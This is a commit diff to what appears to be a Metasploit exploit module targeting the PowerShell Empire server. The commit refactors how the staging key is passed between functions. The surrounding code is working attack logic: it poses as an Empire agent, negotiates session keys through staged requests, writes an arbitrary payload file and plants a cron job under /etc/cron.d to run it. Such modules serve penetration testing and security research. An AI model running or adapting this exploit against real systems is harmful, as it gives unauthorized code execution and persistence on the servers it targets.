Change all instance of staging_key to @staging_key

Author: Takahiro-Yoko

modules/exploits/linux/http/empire_skywalker.rb

@@ -199,12 +199,11 @@ def get_staging_key
     @staging_key
   end
 
-  def write_file(path, data, session_id, session_key, opts)
+  def write_file(path, data, session_id, session_key, server_epoch)
     if datastore['CVE'] == 'CVE-2024-6127'
-      write_file_cve_2024_6127(path, data, session_id, session_key, opts[:staging_key])
+      write_file_cve_2024_6127(path, data, session_id, session_key)
       return
     end
-    server_epoch = opts[:server_epoch]
 
     # target_url.path default traffic profile for empire agent communication
     # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
@@ -261,7 +260,7 @@ def exploit
       # This stage is unnecessary for our purposes.
       session_id = SecureRandom.alphanumeric(8).upcase
       dummy = SecureRandom.alphanumeric(8)
-      send_data_to_stage(@staging_key, dummy, @staging_key, STAGE0, session_id)
+      send_data_to_stage(@staging_key, dummy, STAGE0, session_id)
 
       # stage1
       dh = OpenSSL::PKey::DH.new(
@@ -277,7 +276,7 @@ def exploit
       end
       private_key = dh.priv_key.to_i
       public_key = dh.pub_key.to_s
-      res = send_data_to_stage(@staging_key, public_key, @staging_key, STAGE1, session_id)
+      res = send_data_to_stage(@staging_key, public_key, STAGE1, session_id)
       fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200
       vprint_good('Successfully sent the key to STAGE1')
 
@@ -299,11 +298,11 @@ def exploit
 
       # stage2
       sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8')
-      res = send_data_to_stage(session_key, sysinfo, @staging_key, STAGE2, session_id)
+      res = send_data_to_stage(session_key, sysinfo, STAGE2, session_id)
       fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200
       aes_decrypt(session_key, res.body)
 
-      opts = { staging_key: @staging_key }
+      server_epoch = nil
       log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"
 
     else
@@ -327,7 +326,6 @@ def exploit
       session_key = body[10..]
       print_good('Successfully negotiated an artificial Empire agent')
 
-      opts = { server_epoch: server_epoch }
       log_path = '/agent.log'
 
     end
@@ -347,12 +345,12 @@ def exploit
     end
 
     print_status("Writing payload to #{payload_path}")
-    write_file(payload_path, payload_data, session_id, session_key, opts)
+    write_file(payload_path, payload_data, session_id, session_key, server_epoch)
 
     cron_path = '/etc/cron.d/' + rand_text_alpha(8)
     print_status("Writing cron job to #{cron_path}")
 
-    write_file(cron_path, cron_file(cron_command), session_id, session_key, opts)
+    write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
     print_status('Waiting for cron job to run, can take up to 60 seconds')
 
     register_files_for_cleanup(cron_path)
@@ -362,10 +360,10 @@ def exploit
     register_files_for_cleanup(log_path)
   end
 
-  def build_routing_packet(staging_key, meta = 0, enc_data = ''.b, session_id = '00000000')
+  def build_routing_packet(meta = 0, enc_data = ''.b, session_id = '00000000')
     data = session_id + [2, meta, 0, enc_data.bytes.length].pack('C2SL')
     rc4_iv = SecureRandom.random_bytes(4)
-    key = rc4_iv + staging_key
+    key = rc4_iv + @staging_key
     rc4_enc_data = Rex::Crypto.rc4(key, data)
     rc4_iv + rc4_enc_data + enc_data
   end
@@ -425,7 +423,7 @@ def to_bytes(num, length = 1, little_endian: false)
     bytes_array.pack('C*')
   end
 
-  def write_file_cve_2024_6127(path, data, session_id, session_key, staging_key)
+  def write_file_cve_2024_6127(path, data, session_id, session_key)
     path = path.split('/').join('\\')
     packet = build_response_packet(
       TASK_DOWNLOAD,
@@ -436,12 +434,12 @@ def write_file_cve_2024_6127(path, data, session_id, session_key, staging_key)
         compress(data)
       ].join('|')
     )
-    send_data_to_stage(session_key, packet, staging_key, RESULT_POST, session_id)
+    send_data_to_stage(session_key, packet, RESULT_POST, session_id)
   end
 
-  def send_data_to_stage(session_key, packet, staging_key, task_id, session_id)
+  def send_data_to_stage(session_key, packet, task_id, session_id)
     enc_packet = aes_encrypt_then_hmac(session_key, packet)
-    data = build_routing_packet(staging_key, task_id, enc_packet, session_id)
+    data = build_routing_packet(task_id, enc_packet, session_id)
     res = send_request_cgi({
       'data' => data,
       'method' => 'POST',